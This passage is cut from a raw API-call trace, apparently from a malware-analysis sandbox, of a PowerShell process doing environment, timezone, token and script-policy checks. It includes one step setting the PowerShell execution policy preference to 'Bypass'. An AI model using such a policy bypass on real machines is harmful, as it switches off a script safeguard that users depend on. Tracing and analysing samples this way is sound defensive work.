lpConsoleCurrentFontEx=0x30ae840) returned 1 [0111.606] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0111.606] GetFileType (hFile=0x90) returned 0x2 [0111.606] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x30ae90c | out: lpMode=0x30ae90c) returned 1 [0111.730] SetEnvironmentVariableW (lpName="PSExecutionPolicyPreference", lpValue="Bypass") returned 1 [0111.731] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x77ddad0 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0111.731] CoTaskMemFree (pv=0x77ddad0) [0111.732] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0111.732] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0111.732] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x30add48, nSize=0xfa | out: lpBuffer="䳆狞왪͙\x14\x01徠狙哨ػ?璟ῶȌ") returned 0x0 [0111.732] GetProcessTimes (in: hProcess=0x724, lpCreationTime=0x5429068, lpExitTime=0x5429070, lpKernelTime=0x5429078, lpUserTime=0x5429080 | out: lpCreationTime=0x5429068, lpExitTime=0x5429070, lpKernelTime=0x5429078, lpUserTime=0x5429080) returned 1 [0111.732] CloseHandle (hObject=0x724) returned 1 [0111.733] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x30ad5a4 | out: pTimeZoneInformation=0x30ad5a4) returned 0x2 [0111.733] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x77ddad0 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0111.733] CoTaskMemFree (pv=0x77ddad0) [0111.734] CoTaskMemAlloc (cb=0x20c) returned 0x77ddad0 [0111.734] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x30ad698, pwszFileMUIPath=0x77ddad0, pcchFileMUIPath=0x30ad69c, pululEnumerator=0x30ad690 | out: pwszLanguage=0x0, pcchLanguage=0x30ad698, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x30ad69c, pululEnumerator=0x30ad690) returned 1 [0111.734] CoTaskMemFree (pv=0x0) [0111.734] CoTaskMemFree (pv=0x77ddad0) [0111.735] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x74c0001 [0111.736] CoTaskMemAlloc (cb=0x3ec) returned 0x77b5a10 [0111.736] LoadStringW (in: hInstance=0x74c0001, uID=0x140, lpBuffer=0x77b5a10, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0111.736] CoTaskMemFree (pv=0x77b5a10) [0111.736] FreeLibrary (hLibModule=0x74c0001) returned 1 [0111.737] CoTaskMemAlloc (cb=0x20c) returned 0x77ddad0 [0111.737] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x77ddad0 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0111.737] CoTaskMemFree (pv=0x77ddad0) [0111.737] CoTaskMemAlloc (cb=0x20c) returned 0x77ddad0 [0111.737] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x30ad698, pwszFileMUIPath=0x77ddad0, pcchFileMUIPath=0x30ad69c, pululEnumerator=0x30ad690 | out: pwszLanguage=0x0, pcchLanguage=0x30ad698, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x30ad69c, pululEnumerator=0x30ad690) returned 1 [0111.737] CoTaskMemFree (pv=0x0) [0111.737] CoTaskMemFree (pv=0x77ddad0) [0111.737] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x74c0001 [0111.738] CoTaskMemAlloc (cb=0x3ec) returned 0x31f2ad0 [0111.738] LoadStringW (in: hInstance=0x74c0001, uID=0x142, lpBuffer=0x31f2ad0, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0111.738] CoTaskMemFree (pv=0x31f2ad0) [0111.738] FreeLibrary (hLibModule=0x74c0001) returned 1 [0111.738] CoTaskMemAlloc (cb=0x20c) returned 0x77ddad0 [0111.738] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x77ddad0 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0111.738] CoTaskMemFree (pv=0x77ddad0) [0111.738] CoTaskMemAlloc (cb=0x20c) returned 0x77ddad0 [0111.738] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x30ad698, pwszFileMUIPath=0x77ddad0, pcchFileMUIPath=0x30ad69c, pululEnumerator=0x30ad690 | out: pwszLanguage=0x0, pcchLanguage=0x30ad698, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x30ad69c, pululEnumerator=0x30ad690) returned 1 [0111.739] CoTaskMemFree (pv=0x0) [0111.739] CoTaskMemFree (pv=0x77ddad0) [0111.739] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x74c0001 [0111.739] CoTaskMemAlloc (cb=0x3ec) returned 0x31f26c8 [0111.739] LoadStringW (in: hInstance=0x74c0001, uID=0x141, lpBuffer=0x31f26c8, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0111.739] CoTaskMemFree (pv=0x31f26c8) [0111.739] FreeLibrary (hLibModule=0x74c0001) returned 1 [0111.740] RegCloseKey (hKey=0x724) returned 0x0 [0111.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x63d94e8, Length=0x28170, ResultLength=0x30ad8b8 | out: SystemInformation=0x63d94e8, ResultLength=0x30ad8b8*=0x1b350) returned 0x0 [0111.751] CreateWellKnownSid (in: WellKnownSidType=0x1a, DomainSid=0x0, pSid=0x5456a68, cbSid=0x30ad8e8 | out: pSid=0x5456a68*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), cbSid=0x30ad8e8) returned 1 [0111.755] GetCurrentProcess () returned 0xffffffff [0111.755] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x30ad894 | out: TokenHandle=0x30ad894*=0x724) returned 1 [0111.758] GetTokenInformation (in: TokenHandle=0x724, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x30ad898 | out: TokenInformation=0x0, ReturnLength=0x30ad898) returned 0 [0111.758] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x77af1c0 [0111.758] GetTokenInformation (in: TokenHandle=0x724, TokenInformationClass=0x8, TokenInformation=0x77af1c0, TokenInformationLength=0x4, ReturnLength=0x30ad898 | out: TokenInformation=0x77af1c0, ReturnLength=0x30ad898) returned 1 [0111.845] LocalFree (hMem=0x77af1c0) returned 0x0 [0111.845] DuplicateTokenEx (in: hExistingToken=0x724, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x30ad8a0 | out: phNewToken=0x30ad8a0*=0x744) returned 1 [0111.846] CheckTokenMembership (in: TokenHandle=0x744, SidToCheck=0x5457bc8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x30ad8b0 | out: IsMember=0x30ad8b0) returned 1 [0111.846] CloseHandle (hObject=0x744) returned 1 [0111.847] CreateNamedPipeW (lpName="\\\\.\\pipe\\PSHost.132364262906983158.4968.DefaultAppDomain.powershell" (normalized: "\\device\\namedpipe\\pshost.132364262906983158.4968.defaultappdomain.powershell"), dwOpenMode=0x40080003, dwPipeMode=0x6, nMaxInstances=0x1, nOutBufferSize=0x8000, nInBufferSize=0x8000, nDefaultTimeOut=0x0, lpSecurityAttributes=0x30ad854) returned 0x744 [0111.863] GetFileType (hFile=0x744) returned 0x3 [0112.542] CoTaskMemAlloc (cb=0x20c) returned 0x77b5ce8 [0112.542] GetEnvironmentVariableW (in: lpName="PathEXT", lpBuffer=0x77b5ce8, nSize=0x104 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0112.542] CoTaskMemFree (pv=0x77b5ce8) [0113.375] CoCreateGuid (in: pguid=0x30ad700 | out: pguid=0x30ad700*(Data1=0x388af20a, Data2=0x2f3d, Data3=0x4efc, Data4=([0]=0xac, [1]=0xa0, [2]=0x12, [3]=0x7e, [4]=0xb, [5]=0xea, [6]=0xfd, [7]=0xed))) returned 0x0 [0113.593] CoTaskMemAlloc (cb=0x20c) returned 0x77b5ce8 [0113.593] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x77b5ce8, nSize=0x104 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0xc2 [0113.593] CoTaskMemFree (pv=0x77b5ce8) [0113.594] ExpandEnvironmentStringsW (in: lpSrc="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x30ae55c, nSize=0x64 | out: lpDst="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\P̊眔") returned 0xc3 [0113.594] ExpandEnvironmentStringsW (in: lpSrc="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x30ae49c, nSize=0xc3 | out: lpDst="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0xc3 [0113.594] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ae638 | out: phkResult=0x30ae638*=0x788) returned 0x0 [0113.595] RegQueryValueExW (in: hKey=0x788, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x30ae654, lpData=0x0, lpcbData=0x30ae650*=0x0 | out: lpType=0x30ae654*=0x2, lpData=0x0, lpcbData=0x30ae650*=0xbc) returned 0x0 [0113.595] RegQueryValueExW (in: hKey=0x788, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x30ae654, lpData=0x54a9190, lpcbData=0x30ae650*=0xbc | out: lpType=0x30ae654*=0x2, lpData="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules", lpcbData=0x30ae650*=0xbc) returned 0x0 [0113.595] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%", lpDst=0x30ae4b8, nSize=0x64 | out: lpDst="C:\\Program Files (x86)") returned 0x17 [0113.595] ExpandEnvironmentStringsW (in: lpSrc="%\\WindowsPowerShell\\Modules;%", lpDst=0x30ae4b8, nSize=0x64 | out: lpDst="%\\WindowsPowerShell\\Modules;%") returned 0x1e [0113.595] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x30ae4b8, nSize=0x64 | out: lpDst="C:\\WINDOWS") returned 0xb [0113.595] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x30ae4b8, nSize=0x64 | out: lpDst="C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x64 [0113.595] RegCloseKey (hKey=0x788) returned 0x0 [0113.595] ExpandEnvironmentStringsW (in: lpSrc="C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x30ae55c, nSize=0x64 | out: lpDst="C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x64 [0113.595] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ae638 | out: phkResult=0x30ae638*=0x788) returned 0x0 [0113.596] RegQueryValueExW (in: hKey=0x788, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x30ae654, lpData=0x0, lpcbData=0x30ae650*=0x0 | out: lpType=0x30ae654*=0x0, lpData=0x0, lpcbData=0x30ae650*=0x0) returned 0x2 [0113.596] RegCloseKey (hKey=0x788) returned 0x0 [0113.596] CoTaskMemAlloc (cb=0x20c) returned 0x77b5ce8 [0113.596] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x77b5ce8 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0113.596] CoTaskMemFree (pv=0x77b5ce8) [0113.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0113.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0113.597] CoTaskMemAlloc (cb=0x20c) returned 0x77b5ce8 [0113.597] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x77b5ce8, nSize=0x104 | out: lpBuffer="?ݽ眘̝rogram Files (x86)") returned 0x0 [0113.597] CoTaskMemFree (pv=0x77b5ce8) [0113.598] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ae5f8 | out: phkResult=0x30ae5f8*=0x788) returned 0x0 [0113.598] RegQueryValueExW (in: hKey=0x788, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x30ae618, lpData=0x0, lpcbData=0x30ae614*=0x0 | out: lpType=0x30ae618*=0x1, lpData=0x0, lpcbData=0x30ae614*=0x56) returned 0x0 [0113.598] RegQueryValueExW (in: hKey=0x788, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x30ae618, lpData=0x54aacd4, lpcbData=0x30ae614*=0x56 | out: lpType=0x30ae618*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x30ae614*=0x56) returned 0x0 [0113.598] RegCloseKey (hKey=0x788) returned 0x0 [0113.598] ExpandEnvironmentStringsW (in: lpSrc="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules", lpDst=0x30ae540, nSize=0x64 | out: lpDst="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules") returned 0x33 [0113.599] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0113.600] GetProcAddress (hModule=0x77190000, lpProcName="IsWow64Process") returned 0x771a5a20 [0113.600] GetCurrentProcess () returned 0xffffffff [0113.600] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x30ae694 | out: Wow64Process=0x30ae694) returned 1 [0113.600] CoTaskMemAlloc (cb=0x20c) returned 0x77b5ce8 [0113.600] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x77b5ce8 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0113.601] CoTaskMemFree (pv=0x77b5ce8) [0113.601] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0113.601] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0113.601] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 1 [0114.445] CoCreateGuid (in: pguid=0x30abdd4 | out: pguid=0x30abdd4*(Data1=0x3418f0d6, Data2=0x71d8, Data3=0x4846, Data4=([0]=0x82, [1]=0x54, [2]=0x5e, [3]=0xdb, [4]=0xd, [5]=0x17, [6]=0x26, [7]=0xe9))) returned 0x0 [0114.447] CoCreateGuid (in: pguid=0x30abdd4 | out: pguid=0x30abdd4*(Data1=0x2e2b0238, Data2=0x2e58, Data3=0x4c41, Data4=([0]=0x9f, [1]=0x64, [2]=0xa9, [3]=0x7f, [4]=0xb5, [5]=0xd7, [6]=0x76, [7]=0x25))) returned 0x0 [0114.447] CoCreateGuid (in: pguid=0x30abdd4 | out: pguid=0x30abdd4*(Data1=0x440b7e03, Data2=0xe72c, Data3=0x4b11, Data4=([0]=0x85, [1]=0xdd, [2]=0x4d, [3]=0x7f, [4]=0xc5, [5]=0x99, [6]=0x46, [7]=0xb2))) returned 0x0 [0114.447] CoCreateGuid (in: pguid=0x30abdd4 | out: pguid=0x30abdd4*(Data1=0xe55805eb, Data2=0xcfad, Data3=0x4d22, Data4=([0]=0x96, [1]=0x85, [2]=0x20, [3]=0x56, [4]=0x2, [5]=0x6, [6]=0x72, [7]=0xf8))) returned 0x0 [0114.447] CoCreateGuid (in: pguid=0x30abdd4 | out: pguid=0x30abdd4*(Data1=0x7def8b7d, Data2=0xf2d7, Data3=0x4a3e, Data4=([0]=0x8c, [1]=0x66, [2]=0xcb, [3]=0x3, [4]=0x94, [5]=0xb8, [6]=0xfd, [7]=0x9c))) returned 0x0 [0114.447] CoCreateGuid (in: pguid=0x30abdd4 | out: pguid=0x30abdd4*(Data1=0xcbcce18e, Data2=0xc60f, Data3=0x4c9c, Data4=([0]=0xb7, [1]=0x89, [2]=0xfb, [3]=0x5f, [4]=0x8a, [5]=0x1e, [6]=0x54, [7]=0x97))) returned 0x0 [0114.447] CoCreateGuid (in: pguid=0x30abdd4 | out: pguid=0x30abdd4*(Data1=0xa618c2d2, Data2=0x4db4, Data3=0x4bf5, Data4=([0]=0xb6, [1]=0xd5, [2]=0x40, [3]=0xc4, [4]=0x2e, [5]=0x55, [6]=0xc4, [7]=0xe6))) returned 0x0 [0114.447] CoCreateGuid (in: pguid=0x30abdd4 | out: pguid=0x30abdd4*(Data1=0x8a113715, Data2=0x10b8, Data3=0x4728, Data4=([0]=0x9c, [1]=0x34, [2]=0x10, [3]=0xd0, [4]=0x98, [5]=0x3c, [6]=0x86, [7]=0xe9))) returned 0x0 [0114.447] CoCreateGuid (in: pguid=0x30abdd4 | out: pguid=0x30abdd4*(Data1=0xe63c54b9, Data2=0x4918, Data3=0x40a0, Data4=([0]=0xb5, [1]=0xf8, [2]=0x42, [3]=0x92, [4]=0x17, [5]=0xaf, [6]=0xf1, [7]=0x2d))) returned 0x0 [0114.447] CoCreateGuid (in: pguid=0x30abdd4 | out: pguid=0x30abdd4*(Data1=0xf53eaac0, Data2=0x1064, Data3=0x43d4, Data4=([0]=0x8e, [1]=0x9c, [2]=0x15, [3]=0x35, [4]=0xc1, [5]=0x31, [6]=0x6e, [7]=0xd1))) returned 0x0 [0114.447] CoCreateGuid (in: pguid=0x30abdd4 | out: pguid=0x30abdd4*(Data1=0x54500d28, Data2=0x4dac, Data3=0x497d, Data4=([0]=0x8b, [1]=0x9, [2]=0x44, [3]=0x43, [4]=0x1f, [5]=0xa6, [6]=0x15, [7]=0xa7))) returned 0x0 [0115.240] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x315e1c0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0115.244] CoTaskMemAlloc (cb=0x20c) returned 0x3152ee8 [0115.244] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3152ee8, nSize=0x104 | out: lpBuffer="얐ݺﾠ̓T") returned 0x0 [0115.244] CoTaskMemFree (pv=0x3152ee8) [0115.245] CoTaskMemAlloc (cb=0x20c) returned 0x3152ee8 [0115.245] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3152ee8, nSize=0x104 | out: lpBuffer="얐ݺﾠ̓T") returned 0x0 [0115.245] CoTaskMemFree (pv=0x3152ee8) [0115.245] CoTaskMemAlloc (cb=0x20c) returned 0x3152ee8 [0115.245] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3152ee8, nSize=0x104 | out: lpBuffer="얐ݺﾠ̓T") returned 0x0 [0115.246] CoTaskMemFree (pv=0x3152ee8) [0115.257] ReportEventW (hEventLog=0x7e70004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x5662dfc*="Available", lpRawData=0x5662d24) returned 1 [0115.409] EnumerateTraceGuidsEx () returned 0x0 [0115.409] GetCurrentProcessId () returned 0x1368 [0115.412] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Winevt\\Publishers\\{816ebd75-f7ab-59c0-e2f0-bddfeed66ac2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ad74c | out: phkResult=0x30ad74c*=0x0) returned 0x2 [0115.552] CoTaskMemAlloc (cb=0x20c) returned 0x3152ee8 [0115.552] GetSystemDirectoryW (in: lpBuffer=0x3152ee8, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0115.552] CoTaskMemFree (pv=0x3152ee8) [0115.552] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0115.552] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0115.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae648) returned 1 [0115.552] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x30ae6c4 | out: lpFileInformation=0x30ae6c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0115.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae644) returned 1 [0115.557] WldpGetLockdownPolicy () returned 0x10000000 [0115.557] CoTaskMemAlloc (cb=0x20c) returned 0x3152ee8 [0115.557] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x3152ee8 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0115.557] CoTaskMemFree (pv=0x3152ee8) [0115.557] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0115.557] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x24, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0115.557] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0115.557] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x24, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0115.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae63c) returned 1 [0115.558] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp"), fInfoLevelId=0x0, lpFileInformation=0x30ae6b8 | out: lpFileInformation=0x30ae6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x834732b9, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x834732b9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0115.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae638) returned 1 [0115.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0115.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1", nBufferLength=0x49, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1", lpFilePart=0x0) returned 0x48 [0115.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae584) returned 1 [0115.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_cvdghe1r.uh0.ps1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7bc [0115.560] GetFileType (hFile=0x7bc) returned 0x1 [0115.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae580) returned 1 [0115.560] GetFileType (hFile=0x7bc) returned 0x1 [0115.561] WriteFile (in: hFile=0x7bc, lpBuffer=0x56aaa18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30ae600, lpOverlapped=0x0 | out: lpBuffer=0x56aaa18*, lpNumberOfBytesWritten=0x30ae600*=0x1, lpOverlapped=0x0) returned 1 [0115.562] CloseHandle (hObject=0x7bc) returned 1 [0115.562] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0115.562] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1", nBufferLength=0x4a, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1", lpFilePart=0x0) returned 0x49 [0115.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae584) returned 1 [0115.562] CreateFileW 